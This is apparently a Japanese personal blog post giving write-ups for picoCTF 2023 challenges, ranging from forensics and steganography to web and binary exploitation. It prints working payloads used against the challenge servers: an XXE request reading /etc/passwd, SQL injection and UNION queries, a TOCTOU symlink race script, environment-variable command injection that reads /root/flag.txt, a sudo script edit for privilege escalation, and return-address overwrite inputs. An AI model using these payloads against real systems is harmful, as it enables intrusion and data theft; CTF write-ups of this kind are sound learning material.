しょんぼり技術メモ

まいにちがしょんぼり

picoCTF2023に参加した

picoCTF 2023に参加し、 5200/9300 points, 306th/6924 でした。今回も手元にメモを取りながら解いたのでwrite-upです。 順番は基本的に取り組んだ順になっていて、特に意味はありません。

chrono

How to automate tasks to run at intervals on linux servers?

何をしたら良いのかわからず、l s-l / したら /challenge ディレクトリがあり、metadata.json があったのでcatしたらフラグが書いてあった。非想定解な気がする…

findme

Help us test the form by submiting the username as test and password as test!

test:test! でログインしてテストに協力してくれ、という感じの問題。ログインするといくつかリダイレクトされて検索フォームのようなものに辿り着く。その際のidパラメータを見るとbase64っぽい値になっている。それらをくっつけてデコードすればよい。

hideme

Every file gets a flag. The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.

与えられたファイルをstringsで見てみると、secret/flag.png という明らかに怪しいモノが見つかる。が、元の画像のURLをこれに改変するタイプではなかった。 バイナリエディタで眺めると、謎のパターンの繰り返しのあとにPK..が出てくる。50 4B 03 04なのでZIP。オフセットは9B3B=39739なので

dd if=flag.png of=out.zip skip=39739 bs=1

で切り出す。secret/flag.png にフラグが画像で含まれている。

他の人のwrite-upで知りましたが、binwalkを使うのが手っ取り早かったようです。勉強になりました。

HideToSee

How about some hide and seek heh? Look at this image here.

atbashということはわかるものの、何をatbash変換すれば良いのかが分からずに困惑した問題。 青空白猫で開いて見ると、steghideの可能性ありと表示される。するとatbash変換されたフラグ文字列がでてくるので、cyberchefでatbash変換をかければOKだった。

MatchTheRegex

How about trying to match a regular expression

アクセスすると提出フォームらしきモノが置いてある。 ソースを見るとfetchでフラグを取得しようとしているが、ソースコードに「// ^p.....F!?」と書いてある。 どうやらこれにマッチする正規表現を入れれば良いらしいので、入力する値はpicoCTFでOKだった。

money-ware

Flag format: picoCTF{Malwarename} The first letter of the malware name should be capitalized and the rest lowercase. Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?

上記ウォレットアドレスを検索すると、これが Petya によるものであるという記事が出てくる。picoCTF{Petya} でよい。

PcapPoisoning

How about some hide and seek heh? Download this file and find the flag.

pcapファイルが提供されるのでwiresharkで開く。 507番目のデータにおもむろにフラグが書いてある。

Permissions

Can you read files in the root file?

これもmetadata.json がそのまま読めてしまって困惑した問題。たぶん読込パーミッションが付いてるから読めるとかそういう意図だった気がする…

ReadMyCert

How about we take you on an adventure on exploring certificate signing requests Take a look at this CSR file here.

CSRが提供される。証明書のCNにフラグが書いてある。

$ openssl req -in readmycert.csr -text -noout | fgrep -i pico
        Subject: CN = picoCTF{read_mycert_3aa80090}, name = ctfPlayer

repetitions

Can you make sense of this file?

6回base64 --decodeするか、CyberChefで6回デコードするとフラグが出てくる。

Reverse

Try reversing this file? Can ya? I forgot the password to this file. Please find it for me?

stringsで見るとズバリ書いてある。

rotation

You will find the flag after decrypting this file

名前からしてROTxxっぽいので、CyberChefに入れてROT13を適用、AmountをいじっていくとROT18でフラグが出てくる。

Rules 2023

Read the rules of the competition and get a little bonus!

飛ばされるページのソースに、altで書いてある。

$ curl https://picoctf.org/competitions/2023-spring-rules.html | fgrep 'picoCTF{'

Safe Opener 2

What can you do with this file? I forgot the key to my safe but this file is supposed to help me with retrieving the lost key. Can you help me unlock my safe?

これもstringsで見ると書いてある。

SOAP

The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?

リクエストを見てみると、XMLでリクエストを送っていることが分かる。のでXXEでLFIできそう。ブラウザが送っているリクエストをbash-cURLでコピーして、ペイロードにXXEを仕込んで送るとIDの部分に/etc/passwdの内容が含まれて返ってくる。

curl 'http://saturn.picoctf.net:59814/data' \
  -H 'Accept: */*' \
  -H 'Accept-Language: ja' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/xml' \
  -H 'DNT: 1' \
  -H 'Origin: http://saturn.picoctf.net:59814' \
  -H 'Pragma: no-cache' \
  -H 'Referer: http://saturn.picoctf.net:59814/' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36' \
  --data-raw '<!DOCTYPE data [
<!ENTITY secretData SYSTEM "file:///etc/passwd">
]>
<data><ID>&secretData;</ID></data>' \
  --compressed \
  --insecure

timer

You will find the flag after analysing this apk

apkが提供されるのでとりあえずunzip.

$ fgrep -ir picoCTF *
Binary file classes3.dex matches

$ strings classes3.dex | fgrep picoCTF

useless

There's an interesting script in the user's home directory

uselessコマンドが置いてある。見てみると、manを見ろという記述があるので man useless すると最後の方に書いてある。

Virtual Machine 0

Can you crack this black box? We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: Download.

Collada形式のオブジェクトが提供される。Blenderで開いて、文字通りブラックボックスの中身を確認すると、赤軸側から、歯数が40-8-8のギアになっている。つまり入力の赤軸を1回転させると出力の青軸が5回転する。

入力は 39722847074734820757600524178581224432297292490103995916782275668358702105 なので、これを5倍して 198614235373674103788002620892906122161486462450519979583911378341793510525 が出力になる。long_to_bytes処理をかける(CyberChefでToBase(16), FromHex)とフラグが得られる。

who is it

Someone just sent you an email claiming to be Google's co-founder Larry Page but you suspect a scam. Can you help us identify whose mail server the email actually originated from? Download the email file here. Flag: picoCTF{FirstnameLastname}

emlファイルが提供される。

Received-SPF: pass (google.com: domain of lpage@onionmail.org designates 173.249.33.206 as permitted sender) client-ip=173.249.33.206;

の記載があるので、whoisでこのIPアドレスを引くと Person: Wilhelm Zwalina の記載がある。 picoCTF{WilhelmZwalina} でよい。

FindAndOpen

Someone might have hidden the password in the trace file. Find the key to unlock this file. This tracefile might be good to analyze.

暗号化されたflag.zipとdump.pcapが提供される。 pcapを開くと、Ethernet IIのフレームに平文でテキストが書いてある。

  • Flying on Ethernet secret: Is this the flag
  • iBwaWNvQ1RGe1Could the flag have been splitted?
  • AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=
  • PBwaWUvQ1RGesabababkjaASKBKSBACVVAVSDDSSSSDSKJBJS
  • PBwaWUvQ1RGe1Maybe try checking the other file

AABBのものだけBase64っぽい。Dataの部分だけ(VG以降)見てみるとBase64で展開できる。 This is the secret: picoCTF{R34DING_LOKd_ picoCTF{R34DING_LOKd_ がパスワードで、flag.zipが展開できる。それはちょっとずるいと思った。(フラグっぽい文字列が他のとどう繋がるのかかなり探してしまった)

hijacking

Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.

$ cat .server.py

import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

pingコマンドを打って、gethostbyaddrしたり色々したりする謎のスクリプトになっている。

sudoでなにができるか確認すると

$ sudo -l
Matching Defaults entries for picoctf on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

/usr/bin/vi がrootで起動できるし、上記のスクリプトをrootで実行することもできることがわかる。 なので、

-response = os.system("ping -c 1 " + ip)
+response = os.system("chmod -R 777 /challenge; echo " + ip)

こうして実行してやれば /challengeに移動してmetadata.jsonを表示できる。

More SQLi

Can you find the flag on this website.

ログインページが表示されるので、適当に入力してみる。

username: unko!
password: UNKO!!!

SQL query: SELECT id FROM users WHERE password = 'UNKO!!!' AND username = 'unko!'

とりあえず user = password = ' OR 1 = 1; -- でログインできる。 すると検索画面のような表示になる。Cityに%を入れると全件出てきて、Algiersと入力するとそのエントリだけ表示される。というわけでLIKEしているっぽい。

A' OR 1 = 1 -- で全件表示できているが、フラグらしきモノは見つからない。

Kampala  Maybe all the tables    +256 720 7705600

というのが怪しい。他の情報を漏らさせたいのでUNIONを使って探していく。

%' UNION SELECT 1, name, 3 FROM sqlite_master where type='table'; --

とすると、hints, more_table というテーブルが存在することが分かる。

%' UNION SELECT 1, sql, 3 FROM sqlite_master where name='more_table'; --
CREATE TABLE more_table (id INTEGER NOT NULL PRIMARY KEY, flag TEXT)

id, flagという2つのカラムがあるようなので、

%' UNION SELECT *, 3 from more_table; --

でflagが得られる。

MSB

This image passes LSB statistical analysis, but we can't help but think there must be something to the visual artifacts present in this image...

青空白猫で開き、ビット抽出→RGBのMSBのみチェック。テキストが表示されるので中にフラグが書いてある。

No way out (not solved)

Put this flag in standard picoCTF format before submitting. If the flag was h1_1m_7h3_f14g submit picoCTF{h1_1m_7h3_f14g} to the platform. Windows game, Mac game

Unity問っぽい。AssetStudioで眺めても見当たらなかった。後回しにしているうちに終わってしまった。 dnSpyを使ってやるのが良かったようです。

tic-tac

Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.

#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}

statの結果チェックとgetlineの間にうまく対象ファイルをすげ替えてやることでTOCTOUが成立しそうに見えるので、

#!/bin/bash
while true; do
  rm -f ln.txt
  touch ln.txt
  ln -fs flag.txt ln.txt
done;

しながら

(while true; do ./txtreader ln.txt ; done) 2>&1 | grep -v Error

しておくとそのうち成立してフラグが表示される。

VNE

We've got a binary that can list directories as root, try it out !!

~/bin にstickyなファイルが置いてある。

$ ./bin
Error: SECRET_DIR environment variable is not set

SECRET_DIR を指定すると読み出してくれそう。

$ SECRET_DIR=/root ./bin
Listing the content of /root as root:
flag.txt

試しにセミコロンで区切ってコマンドを書いてやると素直に実行される。

$ SECRET_DIR="-laF /root; cat /root/flag.txt" ./bin
Listing the content of -laF /root; cat /root/flag.txt as root:
total 12
drwx------ 1 root root   22 Mar 16 01:59 ./
drwxr-xr-x 1 root root   51 Mar 19 05:07 ../
-rw-r--r-- 1 root root 3106 Dec  5  2019 .bashrc
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile
-rw------- 1 root root   41 Mar 16 01:59 flag.txt
picoCTF{Power_t0_man!pul4t3_3nv_19a6873b}

Invisible WORDs

Do you recognize this cyberpunk baddie? We don't either. AI art generators are all the rage nowadays, which makes it hard to get a reliable known cover image. But we know you'll figure it out. The suspect is believed to be trafficking in classics. That probably won't help crack the stego, but we hope it will give motivation to bring this criminal to justice!

バイナリを眺めると、00が続いたあとにPKが見える。がZIPヘッダーではない…ように見えて、2バイト後に03 04という本来のZIPヘッダーが来る。 オフセットまで読み飛ばしてから、2バイトずつ読んで保存して次の2バイトを読み捨てる処理をPythonで実装。

skip_bytes = 0x8c

with open("output.bmp", "rb") as f:
  f.read(skip_bytes) # skip
  with open("result.zip", "wb") as out:
    bytes_read = f.read(2)
    while bytes_read:
      out.write(bytes_read)
      f.read(2) # skip
      bytes_read = f.read(2)

そのままでは破損したデータとなっているので、修復してから展開する。

$ zip -FF result.zip --out fixed.zip
Fix archive (-FF) - salvage what can
        zip warning: Missing end (EOCDR) signature - either this archive
                     is not readable or the end is damaged
Is this a single-disk archive?  (y/n): y
  Assuming single-disk archive
Scanning for entries...
 copying: ZnJhbmtlbnN0ZWluLXRlc3QudHh0  (169392 bytes)
Central Directory found...
EOCDR found ( 1 169576)...

展開すると ZnJhbmtlbnN0ZWluLXRlc3QudHh0 というテキストファイルが出てきて、その中にフラグが書かれている。

Special

Don't power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized... automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That's Special (TM)

接続すると、独自シェルっぽい何かが動いているように見える。試しにそのままEnterを押すと

Special$
Traceback (most recent call last):
  File "/usr/local/Special.py", line 19, in <module>
    elif cmd[0] == '/':
IndexError: string index out of range

~を送ってみると、シェル文字展開が行われた上で実行しようとしているような挙動に見える。

Special$ ~
~
sh: 1: /home/ctf-player: Permission denied

とりあえずhomeから遡って/bin/lsを呼んでみると、ちゃんと取得できる。

Special$ ~/../../bin/ls /
~/../../bin/ls /
bin   challenge  etc   lib    lib64   media  opt   root  sbin  sys  usr
boot  dev        home  lib32  libx32  mnt    proc  run   srv   tmp  var

homeを見てみると、何かがあるので辿っていくとフラグが置いてある。

Special$ ~/../../bin/ls /home/ctf-player
~/../../bin/ls /home/ctf-player
blargh

Special$ ~/../../../bin/cat /home/ctf-player/blargh
~/../../../bin/cat /home/ctf-player/blargh
/home/ctf-player/../../../bin/cat: /home/ctf-player/blargh: Is a directory

Special$ ~/../../bin/ls /home/ctf-player/blargh
~/../../bin/ls /home/ctf-player/blargh
flag.txt

Special$ ~/../../../bin/cat /home/ctf-player/blargh/flag.txt
~/../../../bin/cat /home/ctf-player/blargh/flag.txt
picoCTF{5p311ch3ck_15_7h3_w0r57_3befb794}

Specialer

Reception of Special has been cool to say the least. That's why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just 'Specialer'. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody's complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.

lsなどが封じられているので、組み込みシェルコマンドだけで探し回る。* がカレントフォルダの全ファイルにマッチすることや、readコマンドなどを活用すればよい。

Specialer$ echo *
abra ala sim

Specialer$ cd abra

Specialer$ echo *
cadabra.txt cadaniel.txt

Specialer$ read -rd '' file < cadabra.txt ; echo "$file"
Nothing up my sleeve!

Specialer$ read -rd '' file < cadaniel.txt ; echo "$file"
Yes, I did it! I really did it! I'm a true wizard!

Specialer$ cd ..
Specialer$ cd ala
Specialer$ echo *
kazam.txt mode.txt

Specialer$ read -rd '' file < kazam.txt ; echo "$file"
return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_a8567b6f}

babygame01

(descはメモし忘れ)

マップとして2700バイト確保されている領域の手前にフラグ変数があり、かつ境界チェックがないので原点(0,0)からさらに戻れる。 スタート地点(4,4)から(0,0)に戻り、さらに4つ左に移動するとフラグ変数が上書きできるので、その後pコマンドでゴールする。

aaaawwwwaaaap

babygame02

(descはメモし忘れ)

win()が0804975dにある。 PIEなし、Stack Canaryなしなのでreturn addressをここに書き換えればwin()が呼べることになる。 Ghidraで眺めたりデバッガを仕込んだりして、move_player()のreturn addressの位置を探すと、マップ領域の-39バイト目にあたることがわかる。 win()0x0804975d = 5D 97 04 08でreturn addressは0x08049709 = 09 07 04 08 なので、先頭の09を5Dに書き換えればよい。 l<char>というコマンドを使うと、マップのその位置にcharの値を書き込むことができるので、これを使ってreturn addressを書き換える。

move_player()の動作として1バイトしか書き換えられないこと、愚直に原点(0,0)から戻ると途中の領域を破壊してしまうことに注意が必要。 目的の場所の下の行まで移動してからwで上の行にうつり、ピンポイントにその1バイトだけ書き換えればよい。5D = ]なので、l]コマンドで文字を書き換えてから上の行に移ればOK。

…と思ったが、なぜか本番サーバに繋いで実行するとうまくいかない。win()にはNOPが並んでいるので、そこに着地するように他の文字で書き換えてやると通った。理由はよくわからない。。。

wwwwdddddddddddddddddddddddddddddddddddddddddddddddlow

Ready Gladiator 0

Can you make a CoreWars warrior that always loses, no ties? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the

core warsで必ず敗北するプログラムを書け、というもの。 chatGPTに聞いたら無限にぬるぽすれば負けられるらしいのでそのようにする。

;redcode
;name Imp Ex
;assert 1
mov #0, @0
dat #0, #0
end

Ready Gladiator 1

Can you make a CoreWars warrior that wins? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this: To get the flag, you must beat the Imp at least once out of the many rounds.

1回は勝てるようにしないといけないらしい。ググるドワーフが紹介されているのでそれを使わせてもらう。

;redcode
;name dwarf
;assert 1

ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #0
end

Ready Gladiator 2

Can you make a CoreWars warrior that wins every single round? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:

今度はもっと勝率を上げないといけないらしい。ググるとImp killerとして下記が紹介されている。

    gate       equ example-10
    example    spl 0,<gate
               dat <gate

two-sum

n1 > n1 + n2 OR n2 > n1 + n2 What two positive numbers can make this possible

n1 > (n1 + n2) を成り立たせるためには、オーバーフローさせてやればよい。

n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2000000000
2000000000
You entered 2000000000 and 2000000000
You have an integer overflow

Java Code Analysis!?! (not solved)

BookShelf Pico, my premium online book-reading service. I believe that my website is super secure. I challenge you to prove me wrong by reading the 'Flag' book!

JWTを使っていて、roleをPATCHで上書きしてやればいけるっぽい。問題はJWSの署名部分で、秘密鍵を入手する必要がある。

ここで面倒になって諦めてしまったが、実際には秘密鍵は平文でハードコードされていた。悲しみ。

UnforgottenBits (not solved)

Download this disk image and find the flag.

第3パーティションext4で、homeの下に色々と怪しいログがあるっぽいことがわかる。

---     2410     home/yone/Maildir/cur/1673722272.M350117P394146Q2.haynekhtnamet:2,S
---     2362     home/yone/Maildir/cur/1673722272.M376010P394146Q6.haynekhtnamet:2,S

この2ファイルが怪しそうだったが、うまく復元してやれず諦め。

感想

ププーあの人博士号持ってるのにcrypto問全然解けてないじゃないですか(笑)って言われてもぐうの音も出ない結果となりました。精進します。